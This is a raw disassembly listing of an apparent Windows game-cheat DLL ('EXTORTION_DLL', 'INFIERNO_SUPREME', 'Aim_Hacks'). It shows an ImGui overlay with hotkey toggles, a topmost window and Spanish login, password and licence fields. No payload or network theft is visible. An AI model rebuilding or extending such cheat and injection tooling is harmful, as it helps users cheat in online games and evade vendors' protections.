mov rcx, qword [rbp + 0x2a8]
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_recv]
mov ecx, reloc.WLDAP32.dll_Ordinal_45
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
test ax, ax
jns 0x1400516eb
mov rsi, qword [0x1401c6b10]
mov rcx, rsi
call qword [sym.imp.USER32.dll_IsWindowVisible]
mov rcx, rsi
test eax, eax
je 0x1400516ad
xor edx, edx
call qword [sym.imp.USER32.dll_ShowWindow]
jmp 0x1400516e0
mov edx, 5
call qword [sym.imp.USER32.dll_ShowWindow]
mov dword [rsp + 0x30], 0x43
mov dword [rsp + 0x28], r13d
mov dword [rsp + 0x20], r13d
xor r9d, r9d
xor r8d, r8d
mov rdx, 0xffffffffffffffff
mov rcx, rsi
call qword [sym.imp.USER32.dll_SetWindowPos]
mov ecx, reloc.WLDAP32.dll_Ordinal_200
call qword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, dword [0x1401c6afc]
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
test ax, ax
jns 0x14005179f
mov edx, 0x190
mov ecx, reloc.WLDAP32.dll_Ordinal_200
call qword [sym.imp.KERNEL32.dll_Beep]
mov ecx, 8
call fcn.140121a44
lea rcx, [0x14004f6c0]
mov qword [rax], rcx
mov qword [rbp + 0x748], rax
lea rcx, [rbp + 0xc8]
mov qword [rsp + 0x28], rcx
mov dword [rsp + 0x20], r13d
mov r9, rax
lea r8, [0x1400576e0]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__beginthreadex]
mov qword [rbp + 0xc0], rax
test rax, rax
je 0x1400559c1
cmp dword [rbp + 0xc8], 0
je 0x1400559b7
movaps xmm0, xmmword [rbp + 0xc0]
movdqa xmmword [rsp + 0x60], xmm0
lea rcx, [rsp + 0x60]
call qword [sym.imp.MSVCP140.dll__Thrd_detach]
test eax, eax
jne 0x1400559b7
xorps xmm0, xmm0
movaps xmmword [rbp + 0xc0], xmm0
movdqa xmmword [rbp + 0xc0], xmm0
mov ecx, dword [0x1401c6b04]
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
test ax, ax
jns 0x14005186c
lea rax, [rbp + 0x340]
mov qword [rbp + 0x748], rax
lea rdx, [0x140160688]
lea rcx, [rbp + 0x340]
call fcn.14003e110
mov r15, rax
lea rax, [rbp + 0x310]
mov qword [rbp + 0x5a0], rax
lea rdx, [0x14015191a]
lea rcx, [rbp + 0x310]
call fcn.14003e110
mov r14, rax
lea rax, [rbp + 0x4d0]
mov qword [rbp + 0x510], rax
lea rdx, [0x14015191a]
lea rcx, [rbp + 0x4d0]
call fcn.14003e110
mov rsi, rax
lea rdx, [0x140160688]
lea rcx, [rbp + 0x180]
call fcn.14003e110
nop
mov qword [rsp + 0x30], r15
mov qword [rsp + 0x28], r14
mov qword [rsp + 0x20], rsi
movabs r9, 0x7fffffffffff
xor r8d, r8d
mov rdx, rax
lea rcx, [0x1401c5bf0]
call fcn.14004a6d0
mov r15, qword [rbp + 0x298]
mov r14d, 1
mov ecx, dword [0x1401c6b28]
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
test ax, ax
jns 0x140051910
mov ecx, 8
call fcn.140121a44
lea rcx, [0x14004f8f0]
mov qword [rax], rcx
mov qword [rbp + 0x748], rax
lea rcx, [rbp + 0xe8]
mov qword [rsp + 0x28], rcx
mov dword [rsp + 0x20], r13d
mov r9, rax
lea r8, [0x1400576e0]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__beginthreadex]
mov qword [rbp + 0xe0], rax
test rax, rax
je 0x1400559de
cmp dword [rbp + 0xe8], 0
je 0x1400559d4
movaps xmm0, xmmword [rbp + 0xe0]
movdqa xmmword [rsp + 0x60], xmm0
lea rcx, [rsp + 0x60]
call qword [sym.imp.MSVCP140.dll__Thrd_detach]
test eax, eax
jne 0x1400559d4
xorps xmm0, xmm0
movaps xmmword [rbp + 0xe0], xmm0
movdqa xmmword [rbp + 0xe0], xmm0
mov rsi, qword [0x1401c6ae0]
test rsi, rsi
je 0x14005192a
mov rsi, qword [rsi + 0x98]
test rsi, rsi
jne 0x140051947
jmp 0x14005192d
mov rsi, r13
mov r8d, 0x255
lea rdx, str.C:UsersAdminDesktopEXTORTION_DLL_backendsimgui_impl_dx11.cpp
lea rcx, str.bd___nullptr___Did_you_call_ImGui_ImplDX11_Init____
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
cmp qword [rsi + 0x48], 0
jne 0x140051953
call fcn.14003fb80
call fcn.140041140
cmp byte [0x1401c6ad9], 0
jne 0x140052c07
call fcn.140008d40
mov rax, qword [0x1401c6ae0]
test rax, rax
jne 0x140051997
mov r8d, 0xbe5
lea rdx, str.C:UsersAdminDesktopEXTORTION_DLLimgui.cpp
lea rcx, str.GImGui___0___No_current_context._Did_you_call_ImGui::CreateContext___and_ImGui::SetCurrentContext_____
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
mov rax, qword [0x1401c6ae0]
lea r13, [rax + 0x37c8]
movdqa xmm0, xmmword [0x140162690]
movups xmmword [0x1401fd140], xmm0
test rax, rax
jne 0x1400519d3
mov r8d, 0xbe5
lea rdx, str.C:UsersAdminDesktopEXTORTION_DLLimgui.cpp
lea rcx, str.GImGui___0___No_current_context._Did_you_call_ImGui::CreateContext___and_ImGui::SetCurrentContext_____
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
mov rax, qword [0x1401c6ae0]
xor esi, esi
mov qword [r13 + 8], rsi
mov dword [r13 + 0x4c], 0x41a00000
mov dword [r13 + 0x50], 0x41a00000
mov dword [r13 + 0x14], esi
mov dword [r13 + 0x74], 0x41200000
mov dword [rax + 0x37d8], 0x41700000
or dword [rax + 0x47f0], 2
movsd xmm0, qword [0x1401c5c28]
movsd qword [rax + 0x4810], xmm0
mov dword [rax + 0x47f8], r14d
call qword [sym.imp.KERNEL32.dll_GetTickCount]
mov eax, eax
xorps xmm1, xmm1
cvtsi2ss xmm1, rax
movss xmm0, dword [0x1401fc6b8]
addss xmm0, xmm7
comiss xmm1, xmm0
jbe 0x140051b31
movss xmm1, dword [0x1401fc5a8]
cmp byte [reloc.WS2_32.dll_accept], sil
je 0x140051ac7
movss xmm2, dword [0x14016237c]
comiss xmm2, xmm1
jbe 0x140051ab9
mov rax, qword [0x1401c6ae0]
test rax, rax
jne 0x140051a9d
mov r8d, 0x10ae
lea rdx, str.C:UsersAdminDesktopEXTORTION_DLLimgui.cpp
lea rcx, str.GImGui___0___No_current_context._Did_you_call_ImGui::CreateContext___and_ImGui::SetCurrentContext_____
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
movss xmm1, dword [0x1401fc5a8]
mov rax, qword [0x1401c6ae0]
movss xmm2, dword [0x14016237c]
movaps xmm0, xmm6
divss xmm0, dword [rax + 0xdc]
mulss xmm0, xmm12
addss xmm1, xmm0
movss dword [0x1401fc5a8], xmm1
comiss xmm1, xmm2
jb 0x140051b2b
mov byte [reloc.WS2_32.dll_accept], sil
jmp 0x140051b2b
comiss xmm1, xmm14
jbe 0x140051b1e
mov rax, qword [0x1401c6ae0]
test rax, rax
jne 0x140051b02
mov r8d, 0x10ae
lea rdx, str.C:UsersAdminDesktopEXTORTION_DLLimgui.cpp
lea rcx, str.GImGui___0___No_current_context._Did_you_call_ImGui::CreateContext___and_ImGui::SetCurrentContext_____
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
movss xmm1, dword [0x1401fc5a8]
mov rax, qword [0x1401c6ae0]
movaps xmm0, xmm6
divss xmm0, dword [rax + 0xdc]
mulss xmm0, xmm12
subss xmm1, xmm0
movss dword [0x1401fc5a8], xmm1
comiss xmm14, xmm1
jb 0x140051b2b
mov byte [reloc.WS2_32.dll_accept], 1
mov dword [0x1401fc6b8], esi
xor edx, edx
mov r8d, 0x202b
lea rcx, str.IMGUI
call fcn.1400101e0
call fcn.14004dbf0
mov rcx, qword [0x1401c6ae0]
mov rax, qword [rcx + 0x3f08]
movsd xmm0, qword [rax + 0x20]
movsd qword [rbp + 0x748], xmm0
cmp qword [rax + 0x1a8], rsi
jne 0x140051b7e
cmp qword [rcx + 0x4bd8], rsi
lea rcx, [rax + 0x250]
je 0x140051b85
lea rcx, [rax + 0x220]
movss xmm8, dword [rcx]
movss xmm7, dword [rcx + 4]
subss xmm7, dword [rax + 0x24]
subss xmm8, dword [rax + 0x20]
mov ecx, reloc.WLDAP32.dll_Ordinal_46
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
test al, 1
jne 0x1400559ff
mov rax, qword [0x1401c6ae0]
test rax, rax
jne 0x140051bda
mov r8d, 0x10ae
lea rdx, str.C:UsersAdminDesktopEXTORTION_DLLimgui.cpp
lea rcx, str.GImGui___0___No_current_context._Did_you_call_ImGui::CreateContext___and_ImGui::SetCurrentContext_____
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
mov rax, qword [0x1401c6ae0]
movss xmm0, dword [rax + 0x18]
mulss xmm0, dword [0x1401623f4]
mov ecx, esi
mov eax, dword [0x14017a104]
cmp eax, 0xff
mov edx, Ordinal_301
cmovle ecx, edx
sub ecx, eax
movd xmm1, ecx
cvtdq2ps xmm1, xmm1
mulss xmm1, xmm0
movd xmm0, eax
cvtdq2ps xmm0, xmm0
addss xmm1, xmm0
cvttss2si r8d, xmm1
mov dword [0x14017a104], r8d
cmp r8d, 0xff
jle 0x140051c39
mov dword [0x14017a104], 0xff
mov r8d, 0xff
xor edx, edx
mov r9d, 2
mov rcx, qword [0x1401c6b10]
call qword [sym.imp.USER32.dll_SetLayeredWindowAttributes]
mov edx, esi
cmp dword [0x14017a104], esi
mov eax, 5
cmovg edx, eax
mov rcx, qword [0x1401c6b10]
call qword [sym.imp.USER32.dll_ShowWindow]
lea rdx, [0x1401c6b18]
mov rcx, qword [0x1401c6b10]
call qword [sym.imp.USER32.dll_GetWindowRect]
mov rcx, qword [0x1401c6ae0]
mov rax, qword [rcx + 0x3f08]
movss xmm2, dword [rax + 0x20]
ucomiss xmm2, xmm14
jp 0x140051ca7
jne 0x140051ca7
movss xmm0, dword [rax + 0x24]
ucomiss xmm0, xmm14
jp 0x140051ca7
je 0x140051d1a
movd xmm0, dword [0x1401c6b1c]
cvtdq2ps xmm0, xmm0
addss xmm0, dword [rax + 0x24]
cvttss2si r8d, xmm0
movd xmm1, dword [0x1401c6b18]
cvtdq2ps xmm1, xmm1
addss xmm1, xmm2
cvttss2si edx, xmm1
mov dword [rsp + 0x28], r14d
mov dword [rsp + 0x20], 0x28f
mov r9d, 0x3e8
mov rcx, qword [0x1401c6b10]
call qword [sym.imp.USER32.dll_MoveWindow]
mov qword [rbp + 0x2b0], rsi
mov rax, qword [0x1401c6ae0]
xor r8d, r8d
lea rdx, [rbp + 0x2b0]
mov rcx, qword [rax + 0x3f08]
call fcn.140013b70
mov rcx, qword [0x1401c6ae0]
mov rax, qword [rcx + 0x3f08]
mov byte [rax + 0xb8], 1
mov rax, qword [rcx + 0x3f08]
mov r10, qword [rax + 0x298]
movdqa xmm0, xmmword [0x1401626f0]
movups xmmword [rsp + 0x60], xmm0
lea rcx, [rsp + 0x60]
call fcn.140004460
mov dword [rbp + 0x2b8], 0x3f800000
mov dword [rbp + 0x2bc], 0x3f800000
mov qword [rbp + 0x2c0], rsi
mov dword [rbp + 0x2c8], 0x44f00000
mov dword [rbp + 0x2cc], 0x44870000
mov qword [rbp + 0x2d0], rsi
mov dword [rsp + 0x30], eax
lea rax, [rbp + 0x2b8]
mov qword [rsp + 0x28], rax
lea rax, [rbp + 0x2c0]
mov qword [rsp + 0x20], rax
lea r9, [rbp + 0x2c8]
lea r8, [rbp + 0x2d0]
mov rdx, qword [0x1401fd008]
mov rcx, r10
call fcn.140025cc0
mov rcx, qword [0x1401c6ae0]
mov rax, qword [rcx + 0x3f08]
mov byte [rax + 0xb8], 1
mov rax, qword [rcx + 0x3f08]
mov r10, qword [rax + 0x298]
movdqa xmm0, xmmword [0x140162620]
movups xmmword [rsp + 0x60], xmm0
lea rcx, [rsp + 0x60]
call fcn.140004460
mov dword [rbp + 0x2d8], 0x3f800000
mov dword [rbp + 0x2dc], 0x3f800000
mov qword [rbp + 0x2e0], rsi
movss xmm9, dword [rbp + 0x74c]
addss xmm7, xmm9
movss xmm10, dword [rbp + 0x748]
movaps xmm6, xmm10
addss xmm6, xmm8
movss dword [rbp + 0x2f0], xmm6
movss dword [rbp + 0x2f4], xmm7
movss xmm0, dword [0x140162414]
movss dword [rsp + 0x38], xmm0
mov dword [rsp + 0x30], eax
lea rax, [rbp + 0x2d8]
mov qword [rsp + 0x28], rax
lea rax, [rbp + 0x2e0]
mov qword [rsp + 0x20], rax
lea r9, [rbp + 0x2f0]
lea r8, [rbp + 0x748]
mov rcx, r10
call fcn.140025db0
mov rcx, qword [0x1401c6ae0]
mov rax, qword [rcx + 0x3f08]
mov byte [rax + 0xb8], 1
mov rax, qword [rcx + 0x3f08]
mov r10, qword [rax + 0x298]
movss xmm0, dword [0x1401fd1f0]
movss dword [rbp + 0x4a0], xmm0
movss xmm1, dword [0x1401fd1f4]
movss dword [rbp + 0x4a4], xmm1
movss xmm0, dword [0x1401fd1f8]
movss dword [rbp + 0x4a8], xmm0
movss xmm1, dword [0x1401fd1fc]
mulss xmm1, dword [rcx + 0x37c8]
movss dword [rbp + 0x4ac], xmm1
lea rcx, [rbp + 0x4a0]
call fcn.140004460
movss dword [rbp + 0x2f8], xmm6
movss dword [rbp + 0x2fc], xmm7
movss xmm8, dword [0x140162390]
movss dword [rsp + 0x30], xmm8
mov dword [rsp + 0x28], esi
movss xmm0, dword [0x140162414]
movss dword [rsp + 0x20], xmm0
mov r9d, eax
lea r8, [rbp + 0x2f8]
lea rdx, [rbp + 0x748]
mov rcx, r10
call fcn.1400250d0
mov rcx, qword [0x1401c6ae0]
mov rax, qword [rcx + 0x3f08]
mov byte [rax + 0xb8], 1
mov rax, qword [rcx + 0x3f08]
mov r10, qword [rax + 0x298]
movss xmm0, dword [0x1401fd160]
movss dword [rbp + 0x4b0], xmm0
movss xmm1, dword [0x1401fd164]
movss dword [rbp + 0x4b4], xmm1
movss xmm0, dword [0x1401fd168]
movss dword [rbp + 0x4b8], xmm0
movss xmm1, dword [0x1401fd16c]
mulss xmm1, dword [rcx + 0x37c8]
movss dword [rbp + 0x4bc], xmm1
lea rcx, [rbp + 0x4b0]
call fcn.140004460
movss dword [rbp + 0x300], xmm6
movss dword [rbp + 0x304], xmm7
mov dword [rsp + 0x28], esi
movss xmm0, dword [0x140162414]
movss dword [rsp + 0x20], xmm0
mov r9d, eax
lea r8, [rbp + 0x300]
lea rdx, [rbp + 0x748]
mov rcx, r10
call fcn.1400251e0
mov rcx, r15
mov qword [rbp + 0x748], rcx
mov r14, qword [0x1401c6ae0]
mov rsi, r15
test r15, r15
jne 0x14005204b
mov rcx, qword [r14 + 0x48]
test rcx, rcx
jne 0x140052041
mov rsi, qword [r14 + 0x38]
cmp dword [rsi + 0x58], ecx
jg 0x14005203a
mov r8d, 0x732
lea rdx, str.C:UsersAdminDesktopEXTORTION_DLLimgui.h
lea rcx, str.i___0__i___Size
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
mov rax, qword [rsi + 0x60]
mov rcx, qword [rax]
mov qword [rbp + 0x748], rcx
mov rsi, rcx
call fcn.140013840
lea rcx, [r14 + 0x4880]
lea rdx, [rbp + 0x748]
call fcn.1400204e0
mov rax, qword [r14 + 0x3f08]
mov rdx, qword [rsi + 0x40]
mov rdx, qword [rdx + 8]
mov rcx, qword [rax + 0x298]
call fcn.1400229e0
mov r8, qword [0x1401c6ae0]
mov rax, qword [r8 + 0x3f08]
mov byte [rax + 0xb8], 1
mov rax, qword [r8 + 0x3f08]
mov rsi, qword [rax + 0x298]
movss xmm0, dword [0x1401fd140]
movss dword [rbp + 0x4c0], xmm0
movss xmm1, dword [0x1401fd144]
movss dword [rbp + 0x4c4], xmm1
movss xmm0, dword [0x1401fd148]
movss dword [rbp + 0x4c8], xmm0
movss xmm1, dword [0x1401fc5a8]
mulss xmm1, dword [r8 + 0x37c8]
mulss xmm1, dword [0x1401fd14c]
movss dword [rbp + 0x4cc], xmm1
lea rcx, [rbp + 0x4c0]
call fcn.140004460
mov r15d, eax
xor r14d, r14d
mov qword [rsp + 0x30], r14
lea rax, str.INFIERNO_SUPREME
mov qword [rsp + 0x28], rax
movss dword [rsp + 0x20], xmm15
movss xmm3, dword [0x1401624d4]
movss xmm2, dword [r8 + 0x3c30]
lea rdx, [rbp + 0x750]
mov rcx, qword [r8 + 0x3c28]
call fcn.14002cd80
movss xmm0, dword [rbp + 0x750]
addss xmm0, dword [0x140162388]
cvttss2si eax, xmm0
movd xmm1, eax
cvtdq2ps xmm1, xmm1
movss dword [rbp + 0x750], xmm1
movss xmm2, dword [0x1401624c0]
subss xmm2, xmm1
movss xmm0, dword [0x140162464]
subss xmm0, dword [rbp + 0x754]
mulss xmm0, dword [0x14016235c]
mulss xmm2, dword [0x14016235c]
addss xmm2, xmm10
movss dword [rbp + 0x308], xmm2
addss xmm0, xmm9
movss dword [rbp + 0x30c], xmm0
test r15d, 0xff000000
je 0x140052245
mov rax, qword [rsi + 0x38]
mov r14, qword [rax + 8]
movss xmm6, dword [rax + 0x10]
mov rcx, qword [r14 + 0x40]
mov rax, qword [rsi + 0x98]
cmp qword [rcx + 8], rax
je 0x1400521ee
mov r8d, 0x6aa
lea rdx, str.C:UsersAdminDesktopEXTORTION_DLLimgui_draw.cpp
lea rcx, str.font__ContainerAtlas__TexID___CmdHeader.TextureId
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
movups xmm0, xmmword [rsi + 0x88]
movups xmmword [rsp + 0x60], xmm0
mov byte [rsp + 0x48], 0
movss dword [rsp + 0x40], xmm14
lea rax, [0x1401613a8]
mov qword [rsp + 0x38], rax
lea rax, str.INFIERNO_SUPREME
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x60]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], r15d
lea r9, [rbp + 0x308]
movaps xmm2, xmm6
mov rdx, rsi
mov rcx, r14
call fcn.14002cfa0
xor r14d, r14d
call fcn.140013970
mov rax, qword [0x1401c6ae0]
mov rcx, qword [rax + 0x3f08]
mov byte [rcx + 0xb8], 1
mov rcx, qword [0x1401c6ae0]
mov rax, qword [rcx + 0x3f08]
mov byte [rax + 0xb8], 1
mov rax, qword [rcx + 0x3f08]
movss xmm1, dword [rax + 0x24]
subss xmm1, dword [rax + 0x88]
movss xmm0, dword [rax + 0x20]
subss xmm0, dword [rax + 0x84]
addss xmm1, dword [0x140162410]
addss xmm0, dword [0x140162488]
movss dword [rax + 0x100], xmm0
movss dword [rax + 0x104], xmm1
mov byte [rax + 0x141], 1
mov r8, 0xffffffffffffffff
lea rax, [0x1401fcc60]
nop word [rax + rax]
inc r8
cmp byte [rax + r8], 0
jne 0x1400522d0
mov rdx, rax
lea rcx, [0x1401c5bd0]
call fcn.14003e390
movss xmm2, dword [r13 + 0x50]
movss xmm9, dword [0x140162448]
addss xmm2, xmm9
movss xmm3, dword [r13 + 0x4c]
mov rcx, qword [0x1401c6ae0]
mov rax, qword [rcx + 0x3f08]
mov byte [rax + 0xb8], 1
mov rax, qword [rcx + 0x3f08]
movss xmm1, dword [rax + 0x24]
subss xmm1, dword [rax + 0x88]
movss xmm0, dword [rax + 0x20]
subss xmm0, dword [rax + 0x84]
addss xmm1, xmm2
addss xmm0, xmm3
movss dword [rax + 0x100], xmm0
movss dword [rax + 0x104], xmm1
mov byte [rax + 0x141], 1
call fcn.140017a10
call fcn.140017b60
mov eax, dword [0x1401fccc4]
cmp eax, dword [0x1401fcff0]
jne 0x140052376
movaps xmm6, xmm8
jmp 0x14005237a
movaps xmm6, xmm15
mov rsi, qword [0x1401c6ae0]
test rsi, rsi
jne 0x1400523ad
mov r8d, 0x10ae
lea rdx, str.C:UsersAdminDesktopEXTORTION_DLLimgui.cpp
lea rcx, str.GImGui___0___No_current_context._Did_you_call_ImGui::CreateContext___and_ImGui::SetCurrentContext_____
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
mov eax, dword [0x1401fccc4]
mov rsi, qword [0x1401c6ae0]
movss xmm0, dword [rsi + 0x18]
mulss xmm0, dword [0x1401623d8]
mulss xmm0, xmm6
addss xmm0, dword [0x1401fd018]
comiss xmm14, xmm0
jbe 0x1400523d2
movaps xmm6, xmm14
jmp 0x1400523da
movaps xmm6, xmm8
minss xmm6, xmm0
movss dword [0x1401fd018], xmm6
ucomiss xmm6, xmm14
jp 0x140052400
jne 0x140052400
movss xmm0, dword [0x1401fd908]
ucomiss xmm0, xmm14
jp 0x140052400
jne 0x140052400
mov dword [0x1401fcff0], eax
mulss xmm6, dword [r13]
lea rcx, [rsi + 0x4870]
movss xmm0, dword [rsi + 0x37c8]
mov dword [rbp + 0x518], r14d
movss dword [rbp + 0x51c], xmm0
lea rdx, [rbp + 0x518]
call fcn.140020260
movss dword [rsi + 0x37c8], xmm6
movss xmm3, dword [r13 + 0x50]
addss xmm3, dword [0x140162440]
movss xmm2, dword [r13 + 0x4c]
addss xmm2, dword [0x140162484]
mov rcx, qword [0x1401c6ae0]
mov rax, qword [rcx + 0x3f08]
mov byte [rax + 0xb8], 1
mov rax, qword [rcx + 0x3f08]
movss xmm1, dword [rax + 0x20]
subss xmm1, dword [rax + 0x84]
movss xmm0, dword [rax + 0x24]
subss xmm0, dword [rax + 0x88]
addss xmm1, xmm2
addss xmm0, xmm3
movss dword [rax + 0x100], xmm1
movss dword [rax + 0x104], xmm0
mov byte [rax + 0x141], 1
cmp dword [0x1401fcff0], 0
jne 0x140052be1
call fcn.140017a10
mov rcx, qword [0x1401c6ae0]
mov rax, qword [rcx + 0x3f08]
mov byte [rax + 0xb8], 1
mov rax, qword [rcx + 0x3f08]
movss xmm1, dword [rax + 0x24]
subss xmm1, dword [rax + 0x88]
movss xmm0, dword [rax + 0x20]
subss xmm0, dword [rax + 0x84]
addss xmm1, dword [0x140162470]
addss xmm0, dword [0x14016248c]
movss dword [rax + 0x100], xmm0
movss dword [rax + 0x104], xmm1
mov byte [rax + 0x141], 1
movss xmm1, dword [r13 + 0x50]
addss xmm1, xmm11
movss xmm0, dword [r13 + 0x4c]
addss xmm0, dword [0x140162494]
movss dword [rbp + 0x2a0], xmm0
movss dword [rbp + 0x2a4], xmm1
lea r8, [rbp + 0x2a0]
lea rdx, str.Bienvenido
lea rcx, [0x1401613bc]
call fcn.14000d160
mov rcx, qword [0x1401c6ae0]
mov rax, qword [rcx + 0x3f08]
cmp qword [rax + 0x1a8], 0
jne 0x140052584
cmp qword [rcx + 0x4bd8], 0
lea rcx, [rax + 0x250]
je 0x14005258b
lea rcx, [rax + 0x220]
movss xmm0, dword [rcx]
subss xmm0, dword [rax + 0x20]
subss xmm0, dword [r13 + 8]
movss dword [rbp + 0x330], xmm0
mov dword [rbp + 0x334], 0x42200000
mov qword [rsp + 0x38], r14
mov qword [rsp + 0x30], r14
mov dword [rsp + 0x28], r14d
lea rax, [rbp + 0x330]
mov qword [rsp + 0x20], rax
mov r9d, __WSAFDIsSet
lea r15, [0x1401fc7c0]
mov r8, r15
lea rdx, str.Usuario
lea rcx, [0x14015315c]
call fcn.14003a080
mov rcx, qword [0x1401c6ae0]
mov rax, qword [rcx + 0x3f08]
cmp qword [rax + 0x1a8], 0
jne 0x140052613
cmp qword [rcx + 0x4bd8], 0
lea rcx, [rax + 0x250]
je 0x14005261a
lea rcx, [rax + 0x220]
movss xmm0, dword [rcx]
subss xmm0, dword [rax + 0x20]
subss xmm0, dword [r13 + 8]
movss dword [rbp + 0x338], xmm0
mov dword [rbp + 0x33c], 0x42200000
mov qword [rsp + 0x38], r14
mov qword [rsp + 0x30], r14
mov dword [rsp + 0x28], r14d
lea rax, [rbp + 0x338]
mov qword [rsp + 0x20], rax
mov r9d, 0x41
lea r8, [0x1401c6b30]
lea rdx, str.Contrasea
lea rcx, [0x140153180]
call fcn.14003a080
mov rcx, qword [0x1401c6ae0]
mov rax, qword [rcx + 0x3f08]
cmp qword [rax + 0x1a8], 0
jne 0x14005269f
cmp qword [rcx + 0x4bd8], 0
lea rcx, [rax + 0x250]
je 0x1400526a6
lea rcx, [rax + 0x220]
movss xmm0, dword [rcx]
subss xmm0, dword [rax + 0x20]
subss xmm0, dword [r13 + 8]
movss dword [rbp + 0x1a0], xmm0
mov dword [rbp + 0x1a4], 0x42200000
mov qword [rsp + 0x38], r14
mov qword [rsp + 0x30], r14
mov dword [rsp + 0x28], r14d
lea rax, [rbp + 0x1a0]
mov qword [rsp + 0x20], rax
mov r9d, 0x41
lea r8, [0x1401c6b80]
lea rdx, str.Licencia
lea rcx, [0x1401613e4]
call fcn.14003a080
mov rcx, qword [0x1401c6ae0]
mov rax, qword [rcx + 0x3f08]
mov byte [rax + 0xb8], 1
mov rax, qword [rcx + 0x3f08]
movss xmm1, dword [rax + 0x24]
subss xmm1, dword [rax + 0x88]
movss xmm0, dword [rax + 0x20]
subss xmm0, dword [rax + 0x84]
movss xmm10, dword [0x140162474]
addss xmm1, xmm10
addss xmm0, xmm13
movss dword [rax + 0x100], xmm0
movss dword [rax + 0x104], xmm1
mov byte [rax + 0x141], 1
mov dword [rbp + 0x1a8], 0x42f00000
mov dword [rbp + 0x1ac], 0x42200000
lea rdx, [rbp + 0x1a8]
lea rcx, str.Login
call fcn.140035710
test al, al
je 0x140052953
lea rax, [rbp + 0x340]
mov qword [rbp + 0x748], rax
lea rdx, [0x1401c6b30]
lea rcx, [rbp + 0x340]
call fcn.14003e110
mov r12, rax
xorps xmm0, xmm0
movups xmmword [rbp - 0x80], xmm0
mov qword [rbp - 0x70], r14
mov qword [rbp - 0x68], r14
mov rsi, 0xffffffffffffffff
nop dword [rax + rax]
inc rsi
cmp byte [r15 + rsi], 0
jne 0x1400527d0
movabs rax, 0x7fffffffffffffff
cmp rsi, rax
ja 0x140055c02
cmp rsi, 0xf
ja 0x140052818
mov qword [rbp - 0x70], rsi
mov qword [rbp - 0x68], reloc.WS2_32.dll_ntohs
mov r8, rsi
mov rdx, r15
lea rcx, [rbp - 0x80]
call sub.VCRUNTIME140.dll_memcpy
mov byte [rbp + rsi - 0x80], 0
jmp 0x1400528b3
mov r15, rsi
or r15, 0xf
cmp r15, rax
jbe 0x140052837
mov r15, rax
movabs rax, 0x8000000000000000
add rax, 0x27
jmp 0x140052863
cmp r15, 0x16
mov eax, reloc.WLDAP32.dll_Ordinal_22
cmovb r15, rax
lea rcx, [r15 + 1]
test rcx, rcx
je 0x14005288a
cmp rcx, 0x1000
jb 0x140052882
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x140055bfc
mov rcx, rax
call fcn.140121a44
test rax, rax
je 0x1400559f1
lea r14, [rax + 0x27]
and r14, 0xffffffffffffffe0
mov qword [r14 - 8], rax
jmp 0x14005288a
call fcn.140121a44
mov r14, rax
mov qword [rbp - 0x80], r14
mov qword [rbp - 0x70], rsi
mov qword [rbp - 0x68], r15
mov r8, rsi
lea r15, [0x1401fc7c0]
mov rdx, r15
mov rcx, r14
call sub.VCRUNTIME140.dll_memcpy
mov byte [r14 + rsi], 0
xor r14d, r14d
mov r8, r12
lea rdx, [rbp - 0x80]
lea rcx, [0x1401f7e50]
call fcn.1400cd1c0
cmp byte [0x1401f8068], 0
je 0x140052929
mov byte [0x1401c6ad9], 1
movups xmm6, xmmword [0x1401fd140]
lea rax, [rbp + 0x80]
mov qword [rbp + 0x748], rax
lea rdx, str.LOGGED_IN__
lea rcx, [rbp + 0x80]
call fcn.14003e110
mov rsi, rax
lea rdx, str.Notification
lea rcx, [rbp - 0x60]
call fcn.14003e110
movdqa xmmword [rsp + 0x60], xmm6
lea r9, [rsp + 0x60]
mov r8, rsi
mov rdx, rax
call fcn.14004a0d0
jmp 0x140052953
lea rdx, [0x1401f8070]
cmp qword [0x1401f8088], 0xf
cmova rdx, qword [0x1401f8070]
mov r8, qword [0x1401f8080]
lea rcx, str.Aim_Hacks
call fcn.14003e390
mov rcx, qword [0x1401c6ae0]
mov rax, qword [rcx + 0x3f08]
mov byte [rax + 0xb8], 1
mov rax, qword [rcx + 0x3f08]
movss xmm1, dword [rax + 0x24]
subss xmm1, dword [rax + 0x88]
movss xmm0, dword [rax + 0x20]
subss xmm0, dword [rax + 0x84]
addss xmm1, xmm10
addss xmm0, dword [0x140162478]
movss dword [rax + 0x100], xmm0
movss dword [rax + 0x104], xmm1
mov byte [rax + 0x141], 1
mov dword [rbp + 0x1b0], 0x42f00000
mov dword [rbp + 0x1b4], 0x42200000
lea rdx, [rbp + 0x1b0]
lea rcx, str.Registrar
call fcn.140035710
test al, al
je 0x140052bc3
lea rax, [rbp + 0x340]
mov qword [rbp + 0x748], rax
lea rdx, [0x1401c6b80]
lea rcx, [rbp + 0x340]
call fcn.14003e110
mov r12, rax
lea rax, [rbp + 0x310]
mov qword [rsp + 0x60], rax
lea rdx, [0x1401c6b30]
lea rcx, [rbp + 0x310]
call fcn.14003e110
mov r13, rax
xorps xmm0, xmm0
movups xmmword [rbp - 0x80], xmm0
mov qword [rbp - 0x70], r14
mov qword [rbp - 0x68], r14
mov rsi, 0xffffffffffffffff
nop dword [rax + rax]
inc rsi
cmp byte [r15 + rsi], 0
jne 0x140052a40
movabs rax, 0x7fffffffffffffff
cmp rsi, rax
ja 0x140055c0e
cmp rsi, 0xf
ja 0x140052a88
